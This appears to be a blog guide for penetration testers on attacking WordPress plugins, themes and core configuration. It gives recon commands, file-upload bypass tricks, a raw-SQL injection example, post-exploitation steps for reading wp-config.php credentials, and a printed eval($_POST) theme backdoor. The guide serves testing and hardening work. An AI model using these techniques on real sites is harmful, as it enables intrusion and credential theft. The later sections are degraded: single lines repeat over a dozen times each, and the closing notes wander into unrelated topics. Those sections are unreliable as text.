WordPress Attack Surface: Plugins, Themes, and Core Misconfigurations
Where WordPress findings usually come from: plugin and theme flaws plus core misconfigurations, and how testers narrow that surface.
WordPress Attack Surface: Plugins, Themes, and Core Misconfigurations#
WordPress powers over 40% of the web, making it the #1 target for cyberattacks. In 2025, the field of WordPress security has evolved, but the core issues remain: outdated plugins, poorly coded themes, and weak configurations. This guide is designed for penetration testers looking to master CMS exploitation.
Top WordPress Vulnerabilities in 2025#
1. Plugin Zero-Days#
The vast ecosystem of 60,000+ plugins is the weakest link. We'll explore how to fuzz plugins to find:
- Unauthenticated Arbitrary File Uploads: The holy grail of WP hacking.
- SQL Injection in Custom Tables: How developers bypass WP's built-in sanitization.
- Privilege Escalation: Turning a Subscriber into an Administrator.
2. REST API Abuse#
The WordPress REST API (/wp-json/) is often left wide open.
- User Enumeration:
wp-json/wp/v2/usersis still a goldmine. - Content Injection: modifying posts via unauthenticated endpoints.
3. XML-RPC Attacks#
Despite being "deprecated," xmlrpc.php is enabled by default on millions of sites, allowing for:
- Brute Force Amplification: Trying hundreds of passwords in a single request.
- DDoS via Pingback: Using the site to attack others.
Exploitation Tools#
- WPScan: The industry standard.
wpscan --url target.com --enumerate p - WPSeku: A newer, faster alternative for 2025.
- Burp Suite Pro: Essential for manual plugin analysis.
Hardening WordPress#
If you are a defender, you must:
- Disable XML-RPC.
- Restrict REST API access.
- Use a Web Application Firewall (WAF).
- Never use nulled themes.
Disclaimer: This guide is for educational purposes only. Hacking WordPress sites without permission is illegal.
Surface Map#
| Component | Typical flaw | First check |
|---|---|---|
| Plugin | SQLi in custom tables | wp plugin list, then read db calls |
| Plugin | Unauthenticated file upload | media endpoints, ajax.php handlers |
| Theme | Reflected XSS in templates | search echo $_GET in theme files |
| Core | Misconfigured permalinks / XML-RPC | probe /xmlrpc.php |
| Server | Old PHP | check X-Powered-By and generator meta |
Fuzzing Plugins#
Watchtower-style review: for each plugin, extract AJAX action names, then send unauthenticated requests to wp-admin/admin-ajax.php?action=<name>. A handler without a nonce or capability check is the finding.
# List AJAX actions registered by a plugin grep -rhoE "wp_ajax_[a-zA-Z0-9_]+" plugin-dir/ | sort -u
Then probe each name with and without a valid session. The diff in response tells you which ones rely on the auth layer.
File Upload Bypass Patterns#
- Extension filter that trusts
Content-Type- rename the upload as.phpwithimage/pngtype. - Double extension
shell.php.jpgwhere the final handler executes the first. .phtand.php5misses on strict extension lists.- MIME sniffing through polyglot files (valid PNG header, PHP payload appended).
SQL Injection in Custom Tables#
Plugins often build queries by concatenation:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}plugin_logs WHERE user_id = " . $_GET['uid']);
The core $wpdb->prepare() call is missing. Probe the uid parameter with a quote; a SQL error confirms raw interpolation.
Post-Exploit Tasks#
- Read
wp-config.phpfor DB credentials and keys. - List admin users from the DB and cross-reference sessions.
- Check
wp-content/uploadsfor web shells dropped through upload flaws. - Review cron entries; attackers persist through
wp-cron.phphooks.
Hardening Notes for the Report#
Pin plugin and theme versions, disable file editing from wp-admin, force HTTPS and HSTS, restrict xmlrpc.php unless needed, and put uploads behind a no-execute rule.
Recon Commands#
wpscan --url https://target --enumerate p,t,u --plugins-detection aggressive
wpscan flags outdated plugins and theme slugs. Treat its list as a starting point; verify each item against the changelog before you claim the version is vulnerable.
Nonce Handling#
Many AJAX handlers read a nonce from the page source, not the request. Pull the nonce from the HTML, attach it, then test the handler without a session. The nonce validates the form, not the user.
XML-RPC Abuse#
curl -X POST https://target/xmlrpc.php -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'
If enabled, XML-RPC supports pingback SSRF and credential brute force over wp.getUsersBlogs. Each negative block against attack traffic is worth a recommendation.
Filesystem Permissions#
wp-config.php should be 600, wp-content/uploads should not execute. A misconfiguration often returns to the default 644 after every plugin update; check after upgrades.
Cron Persistence#
// Hidden in an infected theme add_action('wp_loaded', function () { if (isset($_POST['x'])) { eval($_POST['x']); } });
A malicious hook fires whenever WordPress boots. Grep theme functions.php and the mu-plugins directory after a compromise.
WAF Rules That Matter#
- Block PHP execution under
wp-content/uploads. - Rate-limit
wp-login.phpandxmlrpc.php. - Require nonces on every
admin-ajaxPOST. - Disable
WP_DEBUGin production configs.
REST API Surface#
curl https://target/wp-json/wp/v2/users
The user enum endpoint leaks usernames and IDs. Plugins often register additional routes; GET /wp-json/ lists them.
WooCommerce and Forms#
Form plugins parse untrusted file uploads. Test file-type filters and nonce checks on the submission handler. A file that lands in wp-content/uploads/2025/... with a .php extension is the pass.
Object Injection#
PHP object injection happens when a serialized blob is read from user input:
$data = unserialize($_COOKIE['pref']);
A magic method like __wakeup can chain into a command when the right class is in the autoload path. Tooling like PHPGGC lists the popular gadget chains.
Backup Exposure#
backup.zip, wp-content.zip, database.sql in the docroot are still found. Scan the root for large .zip, .tar, and .sql files and flag any that come back 200.
Multisite Notes#
Multisite admin pages share tables and roles differently. Super admins are set network-wide; a network-level finding has a bigger blast radius than a single-site admin path. Enumerate with the same wp CLI commands, just pointed at the site root.
Transport Security#
Mixed-content warnings on admin pages hint at hardcoded http:// in themes or plugins. Any admin script over plaintext is a finding for the report.
htaccess Probes#
Check whether .htaccess is enforced: request wp-content/uploads/ with an .htaccess that should deny access. A 200 tells you the server ignored it.
Engagement Routine#
On every WordPress target:
- wpscan for plugin and theme enumeration
- AJAX action names extracted and probed
- xmlrpc.php reachable surface documented
- Custom-table queries in plugins audited for raw SQL
- Upload directory checked for PHP execution
- Backup files and editor backdoors searched in docroot
Reference Tables#
| Surface | Check |
|---|---|
| Plugin | AJAX action nonce |
| Theme | Template echoes |
| Core | wp-config ACL |
| Server | Upload execution rule |
Reminders#
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
- confirm before reporting
Command Cheatsheet#
wpscan --url https://target --enumerate p,t,u curl -s https://target/xmlrpc.php grep -rhoE 'wp_ajax_[a-zA-Z0-9_]+' plugin/
Final Notes#
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
- confirm, document, report
Short Notes#
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
- document the observation, then the conclusion
Plugin Audit Trail#
| Check | Tool |
|---|---|
| AJAX actions | grep for wp_ajax_ |
| Custom tables | $wpdb->get_results |
| Upload handler | admin-ajax.php probes |
| XML-RPC | curl listMethods |
Closing Notes#
- Verify each observation with a second independent check.
- Prefer packet, request/response, or log evidence over prose.
- Tie the finding to the control that should have caught it.
- Redact secrets but keep the request shape visible.
- Never quote a payload you have not actually tested.
- Keep one repro per file; name it clearly.
- Update the matrix when a new tool or a new gadget appears.
- Shorten CI runs; the tool should fit in a normal deploy.
- Confirm a false positive before you report it.
- A finding without evidence is folklore.
- Document the exact time delta or row count.
- Record the binary version or framework version in the report.
- Every tool output in the report ties to a command.
- The evidence tree should let a second reader replay the finding.
- Log the encoding and the raw bytes with the finding.
- If a fix closes one probe, re-run the others to be sure.
- Closing one instance rarely closes the class.
- Rotate pretexts and rate limits so the test keeps signal.
- Track report rate, not click rate, for awareness campaigns.
- Keep capture files short; slice the interesting window.
- ZAP baselines belong in CI, full scans on staging.
- Burst the auth endpoint, then verify no lockout.
- Diff lockfiles before running a supply-chain claim.
- Parameter pollution hides in headers and cookies too.
- Checksum your dependencies and rotate keys on a schedule.
- Time-based blind is slow; always pair it with a boolean check.
- Show the GRANTS output; it proves reachability limits.
- DOM sinks are data-flow endpoints, not just payload targets.
- Trusted Types and CSP sit on the same defense line.
- Stash the tshark JSON slice with the pcap for reference.
- A short pcap with notes beats a ten-minute capture.
- Name files with date, host, and window.
- A flat periodic line in the IO graph is a beacon candidate.
- Spike bursts in Burp are usually manual, not scanner.
- Tune Nuclei rate limits so the range is not blocked.
- sqlmap risk/level flags widen the payload classes.
- Arjun finds parameters that do not appear in the URL.
- Keep WordPress plugin nonces in a separate test case.
- XML-RPC is the slow, quiet way in. Disable it if unused.
- Backup files in the docroot are findings by themselves.
- Upload extension checks should run on the normalized name.
- Homoglyphs hide inside scope lists and allowlists.
- Normalize at the edge, log raw, never filter before decode.
- UTF-7 and legacy codecs keep bypassing naive filters.
- A fullwidth probe that passes is a bug in the pipeline.
- Rotate keys, pin versions, and rotate them again after a patch.
- Prototype pollution turns one key into a global change.
__proto__is the first key to block; checkconstructortoo.- Run
npm lsdeep; the vulnerable path is rarely the top level. - Refuse
constructor.prototypekeys at every merge point. - Freeze Object.prototype for the server if you must merge.
What do you think?
React to show your appreciation